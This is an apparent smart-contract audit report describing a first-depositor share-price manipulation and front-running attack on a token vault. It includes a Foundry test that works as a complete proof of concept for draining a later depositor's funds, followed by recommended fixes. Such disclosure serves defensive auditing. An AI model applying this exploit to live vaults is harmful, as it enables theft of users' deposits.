JohnSmith

high

# First user can steal everyone else's tokens via share price manipulation and frontrunning

## Summary
A user who joins the systems first (deposits first) or temporary just only one left can manipulate share price and steal everybody's tokens by sending tokens to the system externally.
This attack is possible because protocol allows depositing a small amount of tokens and minting zero shares.
In general, since there is only a single share, for any user who is going to stake X tokens, if the system has X+1 tokens in its balance, the user won't get any shares and all the money will go to the attacker.
## Vulnerability Detail
- Alice deposits 1 wei, and receives 1000 shares (if you initialize the vault with `STARTING_SHARES_PER_LINK = 1000` as in your test and deploy scripts)
- She makes price 1:1 via depositing 999 tokens with ERC20.transfer() 
- Next withdraws tokens worth 999 shares, so protocol left with 1 share and 1 token
- Bob wants to deposit 100 ether tokens
- Alice frontruns his deposit and transfers externally 100 ether tokens to vault, so now 1 share costs 100 ether + 1 wei tokens
- When Bob's 100 ether converted to shares `convertToShares(uint256 _tokens)` returns `0`;
- Now Alice has 1 share worth 200 ether + 1 wei, she can now withdraw
## Impact
Stolen funds
## Code Snippet
One test is worth thousand words so here is the test, which you can place into your `contract Vault_depositTest` inside `deposit.t.sol` file.
```solidity
 function testSharePriceManipulationAndFrontrun() public {
        uint256 bobAmount = 100 ether;
        link.mint(alice, 100 ether + 1 wei);
        link.mint(bob, bobAmount);

        // Alice deposits 1 wei
        vm.startPrank(alice);
        link.approve(address(vault), type(uint256).max);
        vault.deposit(1 wei);
        vm.stopPrank();
        assertEq(vault.shares(alice), 1000); // Alice has 1000 shares 
        assertEq(vault.balanceOf(alice), 1); // which worth 1 token

        // Alice would want to reduce share price to 1:1 instead of 1000:1
        vm.prank(alice);
        link.transfer(address(vault), 999);

        assertEq(vault.shares(alice), 1000); // Alice has 1000 shares
        assertEq(vault.balanceOf(alice), 1000); // which worth 1000 tokens

        // Alice reduces amount of shares the vault has so it stores 1 share and 1 token
        vm.prank(alice);
        vault.withdraw(999);

        assertEq(vault.shares(alice), 1); // Alice has 1 share 
        assertEq(vault.balanceOf(alice), 1); // which worth 1 token

        // Bob deposits 100 ETH, Alice is monitoring mempool and sends her transaction with higher fee,
        // so her transaction executes before Bob's transaction
        // Alice's transaction:
        vm.prank(alice);
        link.transfer(address(vault), 100 ether);

        assertEq(vault.shares(alice), 1); // Alice has 1 share 
        assertEq(vault.balanceOf(alice), 100 ether + 1 wei); // which worth  100 ether + 1 wei in tokens
 
        // Bob's transaction:
        vm.startPrank(bob);
        link.approve(address(vault), type(uint256).max);
        vault.deposit(bobAmount);
        vm.stopPrank();

        assertEq(vault.shares(bob), 0); // Bob got 0 shares 
        assertEq(vault.balanceOf(bob), 0); // Bob's balance is 0 tokens

        // Alice withdraws all but 1 wei, so she takes 200 ether not even burning her share(but that is another issue)
        vm.prank(alice);
	 			vault.withdraw(200 ether);

        assertEq(link.balanceOf(alice), 200 ether); // Alice got + 100 ether tokens

        // Alice can now repeat the attack and wait for next victim
    }
```
## Tool used

Manual Review

## Recommendation
-  [Uniswap V2 solved this problem by sending the first 1000 LP tokens to the zero address](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L119-L124). The same can be done in this case i.e. when `totalSupply() == 0`, send the first min liquidity LP tokens to the zero address to enable share dilution.
-   Ensure the number of shares to be minted is non-zero: `require(_shares != 0, "zero shares minted");`
-   Create a periphery contract that contains a wrapper function that atomically calls `initialize()` and `deposit()`
-   Call `deposit()` once in `initialize()` to achieve the same effect as the suggestion above.
-   [BalancerV2 solution](https://github.com/balancer-labs/balancer-v2-monorepo/blob/master/pkg/pool-utils/contracts/BasePool.sol#L302-L316) 
